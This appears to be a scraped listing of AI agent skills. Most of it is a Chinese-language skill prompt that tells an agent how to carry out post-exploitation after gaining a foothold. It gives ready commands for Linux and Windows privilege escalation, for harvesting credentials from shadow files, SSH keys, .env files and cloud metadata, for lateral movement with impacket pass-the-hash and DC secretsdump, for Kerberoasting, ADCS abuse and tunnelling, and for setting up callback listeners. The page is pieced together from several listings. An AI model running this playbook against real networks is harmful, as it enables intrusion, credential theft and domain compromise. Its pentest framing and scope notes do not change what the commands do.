agent-security-hardening
AFaffaan-m/ECC314k3,503 new stars in the last 7 days
拿到初始访问或一个可用凭据后做后渗透时调用——提权、凭据收集、横向移动、域内专项、隧道与数据获取,以及每一步的证据与边界纪律。当 worker 意图涉及「后渗透/提权/横移/域/内网」时使用。
whoami / id、whoami /priv(Windows)、hostname。ip addr / ifconfig / route print,标注可达内网段(哪些网段值得横向)。ps aux | grep -i defend、Windows Defender 事件)、出口是否受限。sudo -l(GTFOBins 对照);id 是否在 docker/lxd/disk 组;find / -perm -4000 -type f 2>/dev/null(对照 GTFOBins);cat /etc/crontab、ls -la /etc/cron.d/、crontab -l(可写脚本 = 提权);systemctl list-units --type=service + ls -la /etc/systemd/system/;search_vulns 查本地提权 CVE(先 uname -a、cat /etc/os-release);env、~/.bash_history、~/.ssh/、/etc/passwd 可写性;linpeas.sh 输出保存为证据文件。whoami /priv:SeImpersonate/SeAssignPrimaryToken → Potato 系;SeDebug → 注入 LSASS;whoami /groups:是否本地管理员/域组;wmic service get name,pathname,startmode | findstr /i "auto";schtasks /query /fo LIST /v、accesschk.exe;cmdkey /list、浏览器配置、Get-ChildItem -Recurse -Force $env:APPDATA;/etc/shadow(可读时)、应用配置(.env / config.php / application.yml / settings.py)、
SSH 私钥、数据库连接串、云元数据(见 cloud 技能)、CI/CD token;auth_request
组装验证请求(HTTP 侧)或 netexec/smbclient 验证(SMB 侧);net accounts。nmap -sV -p 22,445,3389,5985,1433 确认开放面);psexec.py / wmiexec.py / smbexec.py / secretsdump.py(已含命令包装器);impacket-wmiexec -hashes :<NTLM> user@host;chisel(HTTP 隧道)、ligolo-ng(TUN)、ssh -D(socks5);优先选择目标出网允许的形态;nmap -sT --top-ports 100 -iL ips.txt;net user /domain、net group "Domain Admins" /domain、Get-ADUser -Filter *;impacket-GetUserSPNs domain/user:pass -dc-ip <DC> -request → hashcat -m 13100;impacket-GetNPUsers domain/ -usersfile users.txt -no-pass -format hashcat;impacket-secretsdump domain/admin:pass@dc(需 Replicating Directory Changes 权限);certipy find -u user@domain -p pass -dc-ip dc(ESC1-ESC8 模板误配);impacket-findDelegation;SELECT ... LIMIT 1;文件只取一条样本;save_evidence 并对 source_url/文件名负责;insert_assets / add_task_scope),
未测资产用 list_untested_assets 规划下一步。listener_start 起监听,返回解析后的回连地址;payload 直接用返回地址生成;listener_sessions,逐会话留证;不要自建公网 C2;AFaffaan-m/ECC314k3,503 new stars in the last 7 days
Audit the whole repo: find bugs, security holes and performance bottlenecks. Get a ranked report in plain English.
DIDietrichGebert/ponytail202k4,226 new stars in the last 7 days
GAgarrytan/gstack143k524 new stars in the last 7 days
Harden code against the OWASP Top 10: input handling, authentication, sessions and dependencies.
ADaddyosmani/agent-skills122k1,421 new stars in the last 7 days
ADaddyosmani/agent-skills122k1,421 new stars in the last 7 days
RUruvnet/RuView106k596 new stars in the last 7 days